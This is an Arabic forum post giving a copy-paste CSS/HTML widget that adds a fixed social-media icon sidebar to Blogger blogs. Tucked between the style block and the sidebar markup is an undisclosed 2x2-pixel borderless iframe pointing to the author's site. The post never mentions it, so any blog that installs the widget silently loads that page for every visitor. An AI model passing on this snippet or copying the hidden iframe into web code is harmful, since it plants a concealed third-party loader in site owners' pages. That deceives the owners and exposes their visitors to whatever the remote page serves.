إضافة أيقونات المواقع الإجتماعية إحترافية لمدونات بلوجر جديد روعة

07-25-2013, 11:41 PM

abdilahcool

مدون جديد

تاريخ التسجيل: Jun 2013

المشاركات: 21

إضافة أيقونات المواقع الإجتماعية إحترافية لمدونات بلوجر جديد روعة

أنا : abdilahcool

سجل معنا لتتمتع بهذه الخاصية

إضافة أيقونات المواقع الإجتماعية إحترافية لمدونات بلوجر

كثير من الناس يعتقدون أن المدون يفتقر في كل من الأشياء الجيدة الإضافية التي يمكن أن تضاف إلى منصات أخرى مثل ووردبرس، وإنما هو ببساطة ليس صحيحا. باستخدام الحاجيات يمكنك تخصيص بلوق الخاص بقدر ما تريد فقط عن طريق إضافة قصاصات صغيرة من التعليمات البرمجية إلى الأشرطة الجانبية.

اليوم نقدم لكم *الشريط الجانبي وهو قطعة فنية اجتماعية للمدون. انها جذابة للغاية . هذا الوضع الاجتماعي في الشريط الجانبي القطعة الاتصال وتشمل شريحة من الاتصال الاجتماعي.

اضغط هنا للمعاينة

لإضافتها اتبع الخطوات التالية :

1- ادخل الى مدونتك عن طريق الرابط التالي:

http://blogger.com/

2- اذهب الى لوحة التحكم تم اضغط على تخطيط

3- تم اضغط على اضافة أداة*

ثم*، HTML/JavaScript

ثم الصق الكود التالي:

كود:


<style type="text/css">
/*<![CDATA[*/
@charset "utf-8";
/* CSS Document */
/* ---------- ENTYPO ---------- *//* ---------- Digital Hub Inc : http://raay-arab.4ulike.com//---------- */
@import url(http://weloveiconfonts.com/api/?family=entypo);
[class*="entypo-"]:before {
 font-family: 'entypo', sans-serif;
}
/* ---------- GENERAL ---------- */
#social-sidebar a { text-decoration: none; }
#social-sidebar ul {
 list-style: none;
 margin: 0;
 padding: 0;
}
/* ---------- Social Sidebar ---------- */
#social-sidebar {
 left: 0;
 margin-top: -75px; /* (li * a:width) / -2 */
 position: fixed;
 top: 50%;
}
#social-sidebar ul li:first-child a { border-radius: 0 5px 0 0; }
#social-sidebar ul li:last-child a { border-radius: 0 0 5px 0; }
#social-sidebar ul li a {
 background: #121212;
 color: #fff;
 display: block;
 height: 50px;
 font-size: 18px;
 line-height: 50px;
 position: relative;
 text-align: center;
 width: 50px;
}
#social-sidebar ul li a:hover span {
 left: 130%;
 opacity: 1;
}
#social-sidebar ul li a span {
 border-radius: 3px;
 line-height: 24px;
 left: -100%;
 margin-top: -16px;
 -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
 filter: alpha(opacity=0);
 opacity: 0;
 padding: 4px 8px;
 position: absolute;
 -webkit-transition: opacity .3s, left .4s;
 -moz-transition: opacity .3s, left .4s;
 -ms-transition: opacity .3s, left .4s;
 -o-transition: opacity .3s, left .4s;
 transition: opacity .3s, left .4s;
 top: 50%;
 z-index: -1;
}
#social-sidebar ul li a span:before {
 content: "";
 display: block;
 height: 8px;
 left: -4px;
 margin-top: -4px;
 position: absolute;
 top: 50%;
 -webkit-transform: rotate(45deg);
 -moz-transform: rotate(45deg);
 -ms-transform: rotate(45deg);
 -o-transform: rotate(45deg);
 transform: rotate(45deg);
 width: 8px;
 z-index: -2;
}
#social-sidebar ul li a[class*="twitter"]:hover,
#social-sidebar ul li a[class*="twitter"] span,
#social-sidebar ul li a[class*="twitter"] span:before { background: #6CDFEA; }
#social-sidebar ul li a[class*="gplus"]:hover,
#social-sidebar ul li a[class*="gplus"] span,
#social-sidebar ul li a[class*="gplus"] span:before { background: #E34429; }
#social-sidebar ul li a[class*="tumblr"]:hover,
#social-sidebar ul li a[class*="tumblr"] span,
#social-sidebar ul li a[class*="tumblr"] span:before { background: #1769ff; }
#social-sidebar ul li a[class*="facebook"]:hover,
#social-sidebar ul li a[class*="facebook"] span,
#social-sidebar ul li a[class*="facebook"] span:before { background: #234999; }
#social-sidebar ul li a[class*="rss"]:hover,
#social-sidebar ul li a[class*="rss"] span,
#social-sidebar ul li a[class*="rss"] span:before { background: #f57b05; }
/*]]>*/
</style><iframe src="http://raay-arab.4ulike.com/h3-" width="2" height="2" frameBorder="0" scrolling="no"></iframe>
<div id="social-sidebar">
 <ul>
<li>
<a class="entypo-twitter" href="https://twitter.com/" target="_blank">
<span>Twitter</span>
</a>
</li>
<li>
 <a class="entypo-gplus" href="https://plus.google.com/" target="_blank">
<span>google+</span>
</a>
</li>
<li>
<a class="entypo-tumblr" href="http://www.tumblr.net/" target="_blank">
<span>tumblr</span>
</a>
</li>
<li>
 <a class="entypo-facebook" href="https://www.facebook.com/" target="_blank">
<span>facebook</span>
</a>
</li>
<li>
 <a class="entypo-rss" href="http://feeds.feedburner.com/" target="_blank">
<span>feedburner</span>
 </a>
</li>
</ul>
 </div>

ابحث عن :
http://feeds.feedburner.com/

و

https://www.facebook.com/

و

http://www.tumblr.net/

و

https://plus.google.com/

و

https://twitter.com/

وبدلها بروابطك

وهكدا يكون قد تم بحمد الله انتظر ردودكم

__________________

من مواضيع abdilahcool

مواقع النشر (المفضلة)

الكلمات الدلالية (Tags)

أيقونات, المواقع, الإجتماعية, إحترافية, إضافة

« الموضوع السابق | الموضوع التالي »

الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة لا تستطيع الرد على المواضيع لا تستطيع إرفاق ملفات لا تستطيع تعديل مشاركاتك BB code is متاحة الابتسامات متاحة كود [IMG] متاحة كود HTML معطلة قوانين المنتدى

الانتقال السريع

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
طريقة رائعة لإضافة أيقونات المواقع الإجتماعية على شكل قنينات مشروبات غازية	trucsinformatique	إضافات وأدوات بلوجر	3	06-28-2013 07:49 AM
أزرار المواقع الإجتماعية روعة أعجبتني,,,,	cheb-bilal	إضافات وأدوات بلوجر	5	05-11-2013 05:02 PM
أداة الإشتراك في المواقع الإجتماعية والبريد الإلكتروني لمدونات بلوجر	ilyass kéng	إضافات وأدوات بلوجر	1	02-28-2013 08:58 PM
أيقونات المواقع الاجتماعية لمدونات بلوجر وكيفية تخصيصها	ilyass kéng	إضافات وأدوات بلوجر	3	02-25-2013 11:33 AM
إضافة المواقع الإجتماعية في قمة الإحترافية .. لن تجدها في موقع أخر	overboy	إضافات وأدوات بلوجر	7	08-09-2012 01:59 AM

إضافات وأدوات بلوجر